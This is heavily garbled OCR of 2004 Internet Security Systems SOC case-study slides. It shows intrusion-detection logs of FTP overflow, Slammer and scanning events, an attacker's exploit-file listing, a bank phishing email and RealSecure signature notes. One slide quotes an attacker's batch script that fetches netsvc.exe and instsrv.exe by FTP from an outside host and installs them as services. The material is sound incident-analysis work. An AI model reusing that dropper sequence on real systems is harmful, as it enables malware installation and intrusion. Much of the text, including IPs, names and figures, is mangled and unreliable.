TCP_Port_Scan ‘-’;" Unknown impact (SecurityFusion not enabled) | L Medium |7 k] 1 1
HTTP_Connect Proxy Bypass SMTP ‘-;" Unknown impact (SecurityFusion not enabled) | 0 Medium (4 \ 1 1
HTTF_Connect ‘.';'f Unknown impact (SecurityFugion not enabled) | | Medium |9 2 \ 1
Email_Relay_Spam ‘.;'f Unknown impact(SecurityFusion not enabled) [ . Medium (3 1 1 2004 12 21 28
FTP_dotdotdot J.;'f Unknown impact (SecurityFusion not enabled) | Medium |2 2 2
Email_5Senverll =/ Unknown impact {SecurityFusion not enabled) | % Low 24255 2272 4
Email_Ehla =/ Unknown impact {SecurityFusion not enabled) | % Low 23163 2 23
Email_From =/ Unknown impact {SecurityFusion not enabled) | "% Low 23012 2 24
Email_To 4 Unknown impact (SecurityFusion not enabled) | Low 19992 2 17
Email_[rata ‘-;" Unknawn impact (SecurityFusion not enabled) | Low 13559 1 10
Email_%Subject ‘-’;" Unknawn impact (SecurityFusion not enabled) | Low 13555 1 1]
TCP_Probe_SMTP ‘.f Unknawn impact (SecurityFusion not enabled) | Low 23 1 2
HTTF_Serner_ID ‘.';'f Unknawun impact(SecurityFusion not enabled) | Low 22315 41 14
HTTF_User_fAgent ‘.;'f Unknawn impact (SecurityFusion nat enabled) | Low 23204 13 13
HTTF_ et ¢ Unknown impact (SecurityFusion not enabled) | " Low 2173 14 112 1
Sensor5tatistics_Cumulative =/ Unknown impact {SecurityFusion not enabled) | % Low 1959/ 1 1 1
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Case Studyl(

Reporting I

Titne / Tag Mame | Evernt Count Source [P Target [P Senzor DNE Mame | Ohiect Type | Chiect Mame
1223 OO Ne0e ST ITCD Pepbye Cither 2 220 231 197 168 221 180 Target Port (4839
T Low 2004-12-23 00:11:43 JST |FTP_Uszer 1 203, A14 192.165.221.180 Tapoet Dot o4
. Medium [2004-12-23 00;11:43 JST [FTP_Pass 1 203, L= - gy pu )
T Low 2004-12-23 00:11:43 JST FTP_Server_ldentity 1 20 A14 192.165.221.180
T Low 2004-12-23 00:11:43 JST FTP_Server_ldentity 1 203, A14 192.165.221.180 - -
T Low 2004-12-23 00:11:53 JST FTP_Commands _With_Binary |1 203, A14 192.165.221.180 12/23 O = 11 O = 13
4 High 2004-12-23 00:11:53 JST FTP_Generic_Intel_Owerflowe |1 203, A14 192.165.221.180 2
b High 2004-12-23 00:11:53 JST |FTP_Cwwed_Owverflowy 1 203, A14 192165221 150
b High 2004-12-23 00:13:23 JST FTP_Glob_TildeBrace_“ulns |1 203, A14 1892165221 180 Target Port (21
P11 1P A I 0 0 =TTl =T G| L L 2 P B 1 L B A Target Port (24
T Low 2004-12-23 00:14:24 JST FTP_User 1 192 165.221 180 193. 143
. Medium [2004-12-23 00:14:25 JST [FTP_Pass 1 Wﬂﬂ 183. 143
T Low 2004-12-23 00:14:28 JST FTP_Syst 1 . A65.221 180 (193, 143
| Mediurn |2004-12-23 00:14:32 JST [FTP_Pasv 1 g [192168.221.180 155, 143 12/23 014 0:14
T Low 2004-12-23 00:14:33 JST FTP_Filename 1 192 1653.221 180 193, 143
T Loy 20044223 0014053 ST FTR et 1 19216899 180 1185, 143 3
T Low 2004-12-23 00:15:04 JST |TCP_Probe_Cther 1 222, B (192165221180 TargeL PO [To2s
T Low 2004-12-23 00:15:04 JST |[TCP_Probe_RetBIDS 1 222, B (1921658221180 Target Port (139
T Low 2004-12-23 00:15:04 JST TCP_Probe_SGL 1 222, Bl (192165221180 Target Port (1433
T Low 2004-12-23 00:15:05 JST HTTP_Server_[D 1 222, B (1921658221180 Target Port |30
T Low 2004-12-23 00:16:05 JST [TCP_Probe_SGL 2 222, Bl (192165221180 Target Port (1433
T Low 2004-12-23 00:16:05 JST |[TCP_Probe_RetBIDS 2 222, B (1921658221180 Target Port (139
T Low 2004-12-23 00:16:058 JST |[TCP_Probe_Cther 11 222, Bl (192165221180 Target Port (1025
. Medium [2004-12-23 00:16:05 JST HTTP_URL _Name_Nery_Long [1 222, Bl (1921658221180 Target Port |30
. Medium |2004-12-23 00:16:24 JST FTP_dotdot dot 1 203, A14 1892165221 180 Target Port (21
T Low 2004-12-23 00:16:42 JST |UDP_Probe_Cther 1 222, 2 M821658221 180 Target Port (1434
T Low 2004-12-23 00:17:33 JST |TCP_Probe_Fip 1 192 1653.221 180 [206. s Target Port (21
b High 2004-12-23 00:18:03 JST |S0L_SERP_Slarmmer_Worm |1 222 2 (8921658221180 Target Port (1434
s High 2004-12-23 00:20:39 JST FTP_Glob_TildeBrace_“ulns |1 192 1653.221 180 (203 A14 Target Port (3817
. Medium |2004-12-23 00:20:39 JST FTP_dotdot dot 1 1921653.221 180 (203 A14 Target Port (3817

(@ INTERNET | SECURITY SYSTEMS®
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Case Studyl( )

| 7 ®EE FTW BRADE U-LD ALTH
| ®Fs - = - @ [ & Qux msscin @x5o @ D9
J FELAD I@ httpe/Yeencities.com/,
| Google ~ | || Eerrtas - | Paesfenk Ehorposgr 12 | §
Index of /
Hame Last modified Size Description
Parent Director 09-0ct-2004 08:28 -
F360wurm. c 08-0ct-2004 06:00 43k
ﬁ Checkrk.tzz 08-0ct-2004 00:20 10k
ﬁ Gold.tzz 08-0ct-2004 00:13 278k
Intel.tzz 08-0ct-2004 00:13 G40k
Phpshitz.txt 08-0ct-2004 00:30 Tk
Snuff.c 08-0ct-2004 00:19 bk
ﬁ Yzet.tzz 08-0ct-2004 00:30 G4k
angel.tzz 08-0ct-2004 02:15 42k
apache broadcast.c 08-0ct-2004 06:00 bl
arck.tgs 08-0ct-2004 05:34 34k
bind.c 08-0ct-2004 05:32 Bl
bindblackhole.c 08-0ct-2004 06:00 3k
ecpsl.c 08-0ct-2004 05:34 bl
how.to.make.a. rk. b=t 08-0ct-2004 06:00 20k
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2EIEI4-1 2-23 000253039 J5T

Case Studyl(

12/23 0:25
14

Source [P
G2 79

Source Port
2192

o2 168,221 180

Ohiject Marme
121

T Lowy SSH_Versiu:un 1

T Lowy 2004-12-23 00:25:40 JST |S5H_Version 1 G2, A7 (2192 192.168.221.180 [121

. Medium [2004-12-23 0002547 JST DRSS Guery Al 1 192.165.221 180 1026 202 N a3

T Lowy 2004-12-23 00:26:03 JST |[Email_Ehla 1 192165221180 (1043 G4 18 25

T Lowy 2004-12-23 00; 2603 JST |[Email_ServerlD 1 G4, 8 |25 192.165.221.180 (1043

T Lowy 2004-12-23 00: 2611 JST [Email_Tao 1 192165221180 (1043 G54 . = 25 root_kytic Jarm
T Lowy 2004-12-23 002611 JST |[Email_Fram 1 192165221180 (1043 54 . A8 25 ’
T Lowy 2004-12-23 00: 2612 JST |[Email_Data 1 192165221180 (1043 G54 . = 25

T Lowy 2004-12-23 00: 2612 JST |[Email_Sukbject 1 192.165.221.150 1043 54 . g 25

T Lowy 2004-12-23 00: 2645 JST FTP_Server_|dentity 1 203, 114 12769 192.165.221.180 (21

T Lowy 2004-12-23 00: 2649 JST FTP_Server_|dentity 1 203, 14 |3422 192165221180 [ /

. Medium [2004-12-23 00;26:49 JST [FTP_Pass 1 203, 14 13422 192.165.221.180 (21 /

T Lowy 2004-12-23 00:26:49 JST FTP_Uszer 1 203 114 13420 92163221180 |21 /

s High 2004-12-23 00:27:04 JST FTP_Glob_TildeBrace_%uln AT P

T Lowy 2004-12-23 00: 2525 JST [TCP_Prokbe_Ftp DOE. a8 |21

T Lowy 2004-12-23 00:35:02 JST [TCP_Probe_MetBEIO= - - 921658.221 180 [139

T Lowy 2004-12-23 00:36:15 JST [TCP_Probe_MetBEIO= 12/23 O - 26 O - 26 921658.221 180 [139

T Lowy 2004-12-23 00:52,32 JST [TCP_Probe_MetBEIO= 15 921658.221 180 [139

W Lowy 2004-12-23 00:53:55 JST |[TCP_Probe_MetEIO= 921658221180 [139

(@ INTERNET | SECURITY SYSTEMS®
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Case Studyl(

NP Addiesqy )\ Calendar ~| Motepad =

Eravious | Mgt | Back to Messagas

Free Cell Phons
W Yol Vi oo oo ol e ) |

Folders [#dd - Edit] This message is not Nageed. [ Flag Merssge - Mark a2 Unresd |
Eiinbox _ Dabe Fri, 27 Aug 2004 17133159 40900
(=, Draft Fravii mm;m ¥ 8dd to Address Book
L Sent Yor
NSl o syl
[ Bulk (1) [Ermpty] subjact: Cool
I'.ETraﬂh [Ernpty]
B Do mot renove ERe following line, oF warious programs
. ¢ IP's Frem. B ihel reaquire netsork Funchbionalify will fail.
Ehack your Crodit, T m locelhoot
inel addr Beast ! ikadag
Gat unlim®ad calls ta Wask: 255,256, 256,244
LA e Ined addr: MR Fooc i oS k25515500
In = a

(@ INTERNET | SECURITY SYSTEMS®
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Case Studyl(

St

)

Time # | Tegneme  |Evertc..| SowceP | Tametp I Object Name | Source Port| “serve
-4 ITET _Server 01 TOZTEs 22T . = Apachell 3.28 (0nk) mod_ssiZ 5 T2 Opens
W Low |2004-12.24 21:31:55 JST TCP_Probe DMS 1 192168221180 216 34 |53 1055
W Lowr 2004-12-24 213155 J5T TCP_Probe_Other 1 192166221480 216 34 220 1061
W Low [2004-12.24 21:31:55 JST TCP_Probe_Finger 1 102168221480 218 34 |79
W Lowr [2004-12-24 21:31:55 JST TCP_Probe_POP3 1 19216820180 [21 34 110
T Low [2004-12-24 21,36:55 JST HTTP Get 1 192165421 180 52, 245 30
W Low |2004-12-24 21:36:55 IST HTTP_Liser_Agent |1 192 45 221 180 62, 25w | 12/24 21:45
W Lowr [2004-12-24 21;36:55 JST HTTP Server D 1 197162221 180 B2, 25 80 mod_s=l2 812 Opens
W Low [2004-12-24 21:40:06 JST TCP_Probe Ftp |1 Aozieszziae0 216 34 [ 45:34
T Lowe |2004-12.24 21,4542 J5T TCP_Probe_MWSREPC 1 /1211 184 82168221180 135
W Low |2004-12-24 21:44:24 JST HTTF User_Agent 1 / 192.168.221.180 622 246 |80
T Lowy 200441 2-24 3144:24 J5T HTTP_Get 1 192165221 180 522 25 g0 T
W Low [2004-12.24 21:44:25 JST HTTP_Server D 192168221180 622 246 80 1054 Apache/l 328 (Unix) mod_s=l2 812 Open
W Lowr [2004-12-24 21:44:43 JST TCP_Probe_msrrPEl2 2111 194 122168221180 (135 63343
Loww |2004-12-24 21,4505 451 Email ERD i 102.165.221.1680 649 & 2% 065
W Lowr [2004-12-24 21:45:06 J5T Email_Ehio 1 192166221480 67 11 |25 1066
W Low |2004-12.24 21:45:05 JZT Email_From 1 102168271180 67 11 |25 1065
W Loww [2004-12-24 21:45.06 J5T Emsil_ServerD |1 641 '8 192.168.221.180 1065 25 VSt a1 07 il 565, yahoo.com ESMTP 5
W Low [2004.12.24 21:45:06 JST Ernail_ServerD |1 572 11 192168221180 11066 25 \'Surkp rrka 79 il re2 yahoo com ESMTP =4
Lowy |2004-12-24 21.45.07 451 Email_Dala 1 192 168 221180 54.1 i 75 1065
T Low [2004-12-24 21:45:07 J5T Erail_Data 1 192 165,221 180 67.2 1 25 1065
W Low [2004-12-24 21:45:07 JST Email_From 1 192168 221 180 [54.1 ! 25 1065
W Lowr [2004-12-24 21,4507 J5T Emall_Subject 1 192168221180 £4.1 ; 25 1065
W Low [2004-12-24 21:45:07 JST Email_Subject 1 hoz1e8221180 672 1 [25 1085
W Lowr [2004-12-24 21,4507 J5T Emall_To 1 192165 221 180 641 a 25 1065
W Low |2004-12.24 21:45.07 JST Email_To 1 192.168.221 180 67.2 1 |25 1065
W Lowr [2004-12-24 21:46:43 JST UDP_Probe_Other |1 2061 177 192168221180 1434 1277
W Low [2004-12.24 21:57-16 JST SSH_Version i g118 47 192168221180 [121 3240
W Lowy 2004-12-24 215718 J5T SSH_Version 1 6119 47 192168.221.180 121 3240

(@ INTERNET | SECURITY SYSTEMS®
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Case Studyl(

RE) ERE &m0 BRCADA Y- ANTH
0z = - @ 3 At Beem apwcan @arr 3| DO - =S
L | E"H“’ﬂ"‘ dm

BN 7 @oomm - | e oom | i S

W WAMUCOM & wiringos Mol inc. Web st

W recently have determined that different computers have kgped onte your Online Banking account, and multipls pasewerd failres wers present
badore the kgons. We now nead you 1o reeconfirm your account information to us If this & not completed by Decambaer 22, 2004, we wil ba
farced 1o sumpend your account indefinitely, a8 it may have baen wed for frawdulent pepeses We thank you for your coopsration in this mannar

Thank you for your palerce in this maller

Washinglen Mules! Customer Semcs
Flaxie 40 nol gl % Bk email ad Aly & pal@oaon Wail sand o Mid S0 Canol Be 2 oo d

Coppright T004. Wathisglen Mutu s, 150 811 Kights Resareed.

<]
jEiA=srmanale I BT
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Case Studyl(

)

{ DB ¥ Analysis - Fvent Hame v A
Severity Tagy Matme Event Count / Source Courit Target Count Ohbject Court Eatliest Evernt Latest Evert
b High HTTF WehDa'' Long Rogst BO 3 3 1 1 2004-12-26 16:00:00 JST  |2004-12-27 18:00:00 J5T
. High FTP _Cuwvid _Cwverflow 3 1 1 1 2004-12-22 22:00:00 JST  [2004-12-23 00:00:00 JST
b High FTP_Generic_lntel_Creerflow 3 1 1 1 2004-12-22 22:00:00 JST  |2004-12-23 00:00:00 JST
. High DS Windowes SMTP Cwverflowe |1 1 1 1 2004-12-24 23:00:00 JST  [2004-12-24 22:00:00 JST

Surmmary I Azzet I Sensor

{} Fvent Analysis - Attacker

Source [P

Reporting I

| source DME Mame | #High /| #Medium /| #Low | TagCount | Target court | Object Court |

Earliest Event

W

Latest Event

203.195.2135.114

2004-12-22 220000 JST

2004-12-23 00:00:00 JST

222 69.63.133

2004-12-27 13:00:00 JST

2004-12-27 13:00:00 JST

AN

222136.199.225

2004-12-26 23:00:00 JST

2004-12-26 23:00:00 JST

222.50.14.209

N

2004-12-26 16:00:00 JST

2004-12-26 16:00:00 JST

=== Tm

202.224 321

Lo o o

Lo e o I o

===

= = == =

= = == =

2004-12-24 23:00:00 JST

2004-12-24 23:00:00 JST

IP

(@ INTERNET | SECURITY SYSTEMS®
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Case Studyl(

v A

Tag Mame / Event Count I Source Count I Target Count | Ohject Count | Earliest Event | Latest Event

FTP_Get |6 i 3 [ 2004-12-23 00:00:00 JST 2004-12-24 22200000 J5T

Reporting I

t Analyzis - Details
Severity Time Tag Mame | Ewvent Court file sintruder-ip-addr | cintruder-.. A | ovictim-ip-adde | victim-port | Ohject Mame | Source Port
W Low [2004-12-23 0001433 JST FTP_Get |1 izt 192.165.221.150 10335 153145 |1 21 1033
W Lowe [2004-12-23 0002411 JST FTP_Get |1 Armmand tgz ||192.165.221.150 (1040 20134 A 21 1040
W Low [2004-12-23 04,4612 JST FTP_Get |1 pularmes tgz) 192,165,221 150 (1047 153145 |1 21 1047
W Low [2004-12-23 050813 JST FTP_Get |1 pularmea tgz) 192,165,221 150 (1050 193143 |21 21 10350
W Low [2004-12-24 220047 JST FTP_Get |1 KR 192.165.221.150 1065 F1.246 | 21 1065
W Low [2004-12-24 220351 JST FTP_Get |1 2 192.165.221.150 1065 71246 (21 21 1065

E = T
£ a8 7 bl i -
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Case Studyl(

SUmmary I Azzet I Sensor Repatting I

O BDLEBALNVRESY S B7 DER Y A

Severity Tag Mame / Event Count | Source Count | Target Count | Ohject Count I Eatliest Event | Latest Event
Wersion 79 |9 |3 2 2004-12-22 07:00:00 JST 2004-12-27 02:00:00 J5T
Summar\;l Asse‘fl Sensor Repor‘tingl
{} Event Analysis - Details
Severity Time # Tag Mame I Ewent Count I swictim-ip-addr I :victim-portl :intruder-ip-addrl :intruder-portl zoftware I
T Low SSH_Wersion |1 192.168.221 1 80'1 21 2421 1.2.27
W Low |2004-12-23 00:25:35 JST |SSH_Version [1 192.168.221 1 80'1 21 2421 PUTTY -Release-0.56
W Low |2004-12-23 00:25:39 JST |[SSH_Version [1 192.168.221 1 80'1 21 2192 1.2.27
W Low |2004-12-23 00:25:40 JST |SSH_Version [1 192.168.221 1 80'1 21 2192 PUTTY -Release-0.56
W Lowe |2004-12-23 032116 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 5209 1227
W Lowe |2004-12-23 032117 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 53209 PUTTY -Relesze-0.56
W Lowe |2004-12-23 034110 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 53280 PUTTY -Relesze-0.56
W Lowe |2004-12-23 034110 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 52
W Lowe |2004-12-23 04:10:53 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 33
W Lowe |2004-12-23 04:10:53 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 330
W Lowe |2004-12-23 04:15:59 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 33
W Lowe |2004-12-23 04:15:59 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 33 (SSH)
W Lowe |2004-12-23 04:20:11 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 33
W Loww |2004-12-23 04:20:11 JST [SSH_Version [1 192168221 1600121 33 PO rt 1 2 1
W Lowe |2004-12-23 04:32:04 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 5335
W Lowe |2004-12-23 04:32:05 JST |[SSH_Wersion |1 192.1658.221 1 BDI'I 21 5335
W Low |2004-12-23 04:44:58 JST |SSH_Version [1 192.168.221 1 80'1 21 33
W Low |2004-12-23 04:44:58 JST |SSH_Version [1 192.168.221 1 80'1 21 3 =
W Low |2004-12-23 05:.07:07 JST |SSH_Version [1 192.168.221 1 80'1 21 2415 PUTTY -Release-0.56
W Low |2004-12-23 05:07.07 JST |SSH_Version [1 192168221 1800121 2413 1.2.27

(@ INTERNET | SECURITY SYSTEMS®
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Case Studyl(

Summar':.fl Asse‘tl Senzor 15 " Repn:nrtingl
{} Scanfnalysis - Event Hame R
Severity £ | Tag Mame | Event Count I Source Count I Target Count | Ohject Count | Eatliest Event Latest Event
L Medium Ermail_Relay _Spam 3 il il |_1 2004-12-24 23:00:00 JST 2004-12-24 23:00:00 JST
T Low Ernail_Drata 13559 1 1050 || 2004-12-23 00:00:00 JST 2004-12-2510:00:00 JST
T Low Ernail_Ehlo 2363 2 2272 || 2004-12-23 00:00:00 J=T 2004-12-2510:00:00 JST
T Low Ernail _Error 794 2 243 || 2004-12-24 22:00:00 JST 2004-12-25 00:00:00 JST
W Lowe Ernail_From 23012 3 2769 b 0l 272 440000 ST 2004425 AN 0000 ST
T Low Email_ServerlD 24255 2272 4 G975 i
T Low Ernail_Subject 13555 1 1079 / 2
W Low Ermail_To 19998 3 1743 I / 2
W Low TCP_Service_Sweep B 1 4 |3 / 2

(@ INTERNET | SECURITY SYSTEMS®

il ]

Severity Tirne | Tag Marne IE subje it [ et S DN 49 -
W Low  [2004-12-24 23:07:32 JST [Email_Subject |1 | [WaRNING: CONFIRM YOUR OMPINE BANKING RECORDS [{az| [ " ¢
W Low  [2004-12-24 23:07:33 JST [Email_Subject |1 | [WARNING: CONFIRM ¥ OUR ONLINE BANKING RECORDS {32 | _
W Lowe  [2004-12-24 23:07:33 JST Email_Subject 1 ] [WARNING: CONFIRM ¥OUR OMLINE BANKING RECORDS {92 e I e e
W Low  [2004-12-24 23:07:33 JST Email_Subject 1 | [WARNING: CONFIRM YOUR ONLINE BANKING RECORDS [192 pree
W Low  [2004-12-24 23:07:33 JST Email_Subject  [1 | [WARNING: CONFIRM YOUR ONLINE BANKING RECORDS [192
W Low  [2004-12-24 23:07:33 JST Email_Subject 1 | [WARNING: CONFIRM YOUR ONLINE BANKING RECORDS [192
W Low  [2004-12-24 23:07:34 JST Email_Subject  [1 | [WARNING: CONFIRM Y OUR ONLINE BANKING RECORDS [192 S
W Low  [2004-12-24 23:07:34 JST Email_Subject 1 | [WARNING: CONFIRM YOUR ONLINE BANKING RECORDS [192
W Low  [2004-12-24 23:07:37 JST Email_Subject 1 | [WARNING: CONFIRM YOUR ONLINE BANKING RECORDS [192
W Low  [2004-12-24 23:07:37 JST Email_Subject 1 | [WARNING: CONFIRM YOUR ONLINE BANKING RECORDS [192
W Low  [2004-12-24 23:07:38 JST Email_Subject 1 | [WARNING: CONFIRM YOUR ONLINE BANKING RECORDS [192
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US SOC
GTOC X-Force Global Threat Analysis Center

mssql-resolution-service-bo2 {(10031) @ High Risk

Microsoft SOL Server Resolution Service stack buffer
overflow

X-Force \ 1
B B I R FvEigit soc

Description:
Microsoft SQL Server 2000 i< \rnlnerabbwwa@etack hased buffer
overflow in the 7 sed to direc \ = Sa s S| —
Wl e MLWRSBIEORR 3R 5 EHDSOCTRATN AU MR EYEE)
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1
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A—H XV TANUE | b

X a)T4R—ILDFER

Case Study?2

-

2004 4 27

(@ INTERNET | SECURITY SYSTEMS®

2004-04-27 1971411 JST
2004-04-27 19:14:11 JS
2004-04-2( 14 ]A.—OS JST
2004-04-241
2004-04-27 18.

2004-04°37"18:3:02 ISFg
2004-04-27 18¥13.03 JST

2004-04-27 18:13°03 JST
2004-04-27 18:13:03,J8T
2004-04-27 18:13:03 JST
2004-04-27 18:14:04 JST
2004-04-27 18:39:34 JST

SSL.PCT1_Overftow

SSL PCTT Ovelflow"

SSL_ _PCT1 S Ovelflow

SSL PCT1_ _Overfl W

CT1_Over flow)

. **x 951 10
. *** 251 10
395110
3% 25110

FEex 251 10
~xxx 251 10
. **% 251 10
. **x 951 10
. *** 251 10
. *®*% 251.10
&£ 251 10




Case Study?2

AR | EFAYTARUH [ r ~N

X a)T4R—ILDFER

<WhoislZ k553>

netnum: ek ok 251.0 — *kk kk% 115.15

netname: GS- LANZHOU-—TDBKCS—HJY

descr: NO 1 rec;ehnalssance deS|gnat|on of Chlnamor
descr. 7 .onTfaissance deS|gna’c|on compapys e
descr: ity, Gansu province

country: : g

admin—c: —HXQ‘AP

tech—c: RX9- AP )

status: ALLOCATED PORTABL
source: APNIC YD
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AR X TARUE | th

X a)T4R—ILDFER

Case Study?2

-

\_

*hx_xAkx_251.10 443/tcp

FTP 3
netsvc.exe

~

(@ INTERNET | SECURITY SYSTEMS®

<TTUITUEDS

echo open 211.96. 251 10, 2>- Pogtxt
echo-bih >> Iogtxt . BN
echo getunetsve.exe Sologtxt
echo gety sfvan > log.txt
echo get: mstsrv ex >>I0g txt
echo bye >>—|0g xt i

ftp —A —d -s:log. txt,__

del log.txt .

G ¥W|nnt¥system32¥|nstsrv exe SrvAn
c:¥winnt¥system32¥instsrv.exe NetSv
echo Windows Registry Editor Version 9.

64
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Weekly SOC Report

_—

<59 P APIETEIP7FL R)

PFFLZ FE7 22O ES Ea-F | ## |

210.202.247 %4+ RAIT S W58 24
213.186.57 %% RAITS FROZSAD 17
220,130,155 ##+ RAITS TW{ G =) 7
221.148.68 %% RAITS KR{BRED 6
211.250.46 %%k RAITS KR{BRED b

10202247 vEk
2131866T

o ZEOA 0156k
22114800 %k%

21125040 v+%

http://Iwww.isskk.co.jp/SOC_report.htm| (ZZHE A E H E#)
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Ahead of the threat.
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FTP_Glob_TildeBrace_Vulns

FTP glob() vulnerabilities using tilde and left brace (FTP_Glob_TildeBrace Vulns)

RealSecure Network Sensor: ) CH) FTP
FTP

Linux kernel Unix FTP

Glob

FTP ) O
FTP

FTP (WU-FTPD) Linux
glibc
X-Force

(@ INTERNET | SECURITY SYSTEMS®
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SSL2 Master Key Overflow

OpenSSL SSL2 master key buffer overflow (SSL2_Master_Key Overflow)
RealSecure Network Sensor: 2 SSL SSL

ssl.v2masterkey.arglenthreshold
8

OpenSSL: 0.9.6d OpenSSL: 0.9.7-b2 Red Hat Linux: 7.x OpenVMS: Red Hat Linux:
7.3 Debian Linux: 3.0 OpenPKG: 1.0 EnGarde Secure Linux: Community Edition Tru64 UNIX:

Red Hat Linux: 7.0 Trustix Secure Linux: 1.1 Red Hat Linux: 6.2 Debian Linux: 2.2 Red Hat Linux: 7.2
Trustix Secure Linux: 1.5 Red Hat Linux: 7.1 Trustix Secure Linux: 1.2

OpenSSL SSL (Secure Sockets Layer) TLS (Transport Layer Security)
Linux OpenSSL 0.9.6d 0.9.7 betal
0.9.7 SSL2
SSL2
OpenSSL Project Web OpenSSL (0.9.6e )

(@ INTERNET SECURITY SYSTEMS® 71



MSRPC RemoteActivate Bo

RPC DCOM (MSRPC_RemoteActivate_Bo)

RealSecure Server Sensor:

MSRPC Remote

ActivationRequest

Windows NT: 4.0 TSE Windows 2000: Windows NT: 4.0 Windows 2003: Server Windows: XP

Microsoft Windows 2000 Windows NT 4.0 Windows XP Windows Server 2003 RPC (Remote Procedure Call)
Distributed Component Object Model (DCOM)

TCP 135 RPC

Microsoft Security Bulletin MS03-026
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Microsoft Windows LSASS buffer overflow (MSRPC_LSASS Bo)

RealSecure Network Sensor RealSecure Server Sensor:

MSRPC LSASS Bo

Microsoft Local Security Authority Subsystem Service LSASS
Windows Server 2003: Windows XP: 64-bit Edition 2003 Windows XP: Windows
2000:
Microsoft Windows 2000 XP Windows Server 2003 Windows XP 64-Bit Edition 2003
Local Security Authority Subsystem Service (LSASS)
LSASS Active Directory
Microfsoft Windows Server 2003 Windows XP 64-Bit Edition 2003

Microsoft Security Bulletin
(@ INTERNET | SECURITY SYSTEMS®
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SSL PCT1 (SSL_PCT1_Overflow)
RealSecure Network Sensor RealSecure Server Sensor:

PCT1 SSL

Secure Sockets Layer (SSL) 2
Communication Technology (PCT)

(@ INTERNET | SECURITY SYSTEMS®
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SSL PCT1 Overflow

SSL PCT1 Private
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SQL_SSRP_ Slammer Worm

SQL Slammer worm propagation (SQL_SSRP_Slammer_Worm)
RealSecure Network Sensor RealSecure Server Sensor:

1434 SQL Slammer Worm ubP

Microsoft MSDE: 2000 Microsoft SQL Server: 2000 Cisco CallManager: 3.3.x Cisco Unity: 4.x Backup Exec: 9.0

ExecView: 3.1 Cisco Unity: 3.x Windows NT: Cisco BBSM: 5.1 Cisco BBSM: 5.0 Windows 2000:
SQL Slammer W32/SQLSIam-A  Sapphire New SQL Worm.SQL Helkern Microsoft
SQL Server 2000 Microsoft Desktop Engine (MSDE) 2000 Resolution Service
Slammer
(DDoS)

Slammer Kernel32.dll ws2_32.dll GetTickCount IP

376 SQL Server

UDP 1434 Slammer Nimda
Microsoft Security Bulletin MS02-061 SQL Server
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HTTP_ Unix Passwords

passwd file accessed through Web server (HTTP_Unix_Passwords)

RealSecure Network Sensor:

RealSecure Server Sensor:

HTTP Unix

Unix /etc/passwd

Web(HTTP)
col

Web CGl

passwd

Web (HTTP)

etc/passwd
1

/etc/passwd

(@ INTERNET | SECURITY SYSTEMS®
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shadow HTTP GET

UNIX /etc/passwd

etc/passwd
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TCP_Network_ Scan

Portscan attack (TCP_Network Scan)

RealSecure Network Sensor RealSecure Server Sensor:

TCP
TCP_Port_Scan ( )
pam.tcp.network.scan.count pam.tcp.network.scan. interval
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TCP_Network Sweep

Service scanner attempting to connect to same port on multiple computers (TCP_Network_Sweep)
RealSecure Server Sensor RealSecure Network Sensor:
1 TCP
TCP_Service_Sweep

TCP_Port_Scan
pam.tcp.network.sweep.count pam.tcp.network.sweep. interval
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